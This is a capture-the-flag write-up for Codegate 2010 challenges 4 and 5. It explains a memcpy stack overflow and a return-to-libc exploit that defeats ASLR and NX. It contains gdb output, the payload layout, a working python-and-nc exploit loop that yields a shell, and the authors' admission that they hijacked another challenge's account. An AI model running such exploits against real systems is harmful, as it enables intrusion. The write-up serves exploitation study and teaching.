Summary
Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.
Analysis
Challenge 4 information:
credentials: ctf4.codegate.org 9000
BINARY FILE: http://ctf.codegate.org/files____/easy
Challenge 5 information:
credentials: ctf4.codegate.org 9001
BINARY FILE: http://ctf.codegate.org/files____/harder
Both “easy” and “harder” share the same code which looks like below:
int __cdecl main() { size_t n; // [sp+18h] [bp-8h]@1 char *lineptr; // [sp+1Ch] [bp-4h]@1 lineptr = 0; printf("Input: "); fflush(0); getline(&lineptr, &n, stdin); func(lineptr, n); return puts("nThanks. Goodbye"); } void *__cdecl func(const void *src, size_t n) { char dest[264]; // [sp+10h] [bp-108h]@1 return memcpy(dest, src, n); }
The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.
The problem for exploiting ‘harder’ is to bypass:
- ASLR
- NX protection
We will use return-to-libc technique to overcome that.
Solution/Exploit
In order to exploit the “harder” we have to:
- Locate address of execl() function in libc
- Locate address of “/bin/sh” somewhere in memory
- Arrange stack to call execl(“/bin/sh”, …) when return from func()
Locate address of execl()
Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.
$ gdb harder (gdb) start Temporary breakpoint 1, 0x0804850e in main () (gdb) p execl $1 = {<text variable, no debug info>} 0x1a70c0 <execl> (gdb) quit
Locate address of “/bin/sh”
There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:
- Find “/bin/sh” address in RO_DATA of libc
- Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
- Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.
Let examine the stack when we’re in func():
(gdb) disass func Dump of assembler code for function func: 0x080484e4 <func+0>: push ebp 0x080484e5 <func+1>: mov ebp,esp 0x080484e7 <func+3>: sub esp,0x118 0x080484ed <func+9>: mov eax,DWORD PTR [ebp+0xc] <-- n 0x080484f0 <func+12>: mov DWORD PTR [esp+0x8],eax 0x080484f4 <func+16>: mov eax,DWORD PTR [ebp+0x8] <-- src's address (*lineptr) 0x080484f7 <func+19>: mov DWORD PTR [esp+0x4],eax 0x080484fb <func+23>: lea eax,[ebp-0x108] <-- dest's address 0x08048501 <func+29>: mov DWORD PTR [esp],eax 0x08048504 <func+32>: call 0x80483f8 <memcpy@plt> 0x08048509 <func+37>: leave 0x0804850a <func+38>: ret End of assembler dump. (gdb) b *0x08048504 Breakpoint 1 at 0x8048504 (gdb) r Starting program: /tmp/harder Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x08048504 in func () (gdb) x/20x $ebp 0xbffff738: 0xbffff768 0x08048568 0x0804b008 0x00000078 [*lineptr] (2) 0xbffff748: 0x00d5b420 0xbffff768 0x00c49345 0x006c2d20 0xbffff758: 0x00000078 0x0804b008 0x08048590 0x00000000 [*lineptr] (1) [garbage str] 0xbffff768: 0xbffff7e8 0x00c30b56 0x00000001 0xbffff814 0xbffff778: 0xbffff81c 0xb7fff858 0xbffff7d0 0xffffffff (gdb) x/8x 0x0804b008 0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141
Address of *lineptr is 0x0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.
Arrange buffer & stack
With all the things above, we can craft our buffer as below:
["/bin/sh" | padding | ret*6 | execl() | "n"]
This will result on stack when return from func():
[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]
Exploit
while true; do (python -c 'print "/bin/shx00" + "A"*260 + "x75x85x04x08"*6 + "xc0x70x1ax00" + "n"'; cat) | nc ctf4.codegate.org 9001 done Input: Input: Input: id uid=1004(harder) gid=1004(harder) cat /home/harder/flag.txt e2e4cb6adc9cd761dcde774f84529591 -
References
Keywords: return-to-libc, aslr, esp lifting, codegate 2010